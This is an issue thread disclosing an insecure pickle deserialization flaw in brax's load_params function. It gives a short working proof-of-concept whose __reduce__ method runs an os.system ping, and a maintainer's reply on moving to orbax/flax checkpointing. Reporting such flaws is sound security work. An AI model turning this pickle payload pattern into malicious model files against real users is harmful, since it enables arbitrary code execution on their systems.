Insecure Deserialization attack on pickle.loads

[omidxrz]

I noticed that there is a module named load_params that passes user input directly into pickle , which allows an attacker to execute system commands with insecure deserialization attack on the victim’s system.

Vulnerable Function

brax/brax/io/model.py

Line 22 in 69637a3

def load_params(path: str) -> Any:

Exploit Code (Attacker Side):

import pickle
import os

class MaliciousCode:
    def __reduce__(self):
        return (os.system, ("ping 'google.com'",))

with open('malicious.pkl', 'wb') as f:
    pickle.dump(MaliciousCode(), f)

Exploit Code (Victim Side):

from brax.io import model
model.load_params("malicious.pkl")

[btaba]

Acknowledged, this has been on our TODO for some time. I implemented orbax checkpointing in PPO

brax/brax/training/agents/ppo/train.py

Line 534 in d48b0b3

orbax_checkpointer = ocp.PyTreeCheckpointer()

as a start. But a bigger refactor is needed to bubble up this kind of logic into load_params, since the target state needs to be provided AOT when loading the params.

The flax serializer has a similar requirement, the target needs to be defined AOT. The right thing to do is to perhaps nix model.load_params and save_params altogether, and rely entirely on a flax/nnx/orbax serializer (along with a model config to generate the target pytree).

Happy to review any PRs if someone wants to take a look.

[btaba]

8526f9a starts to address this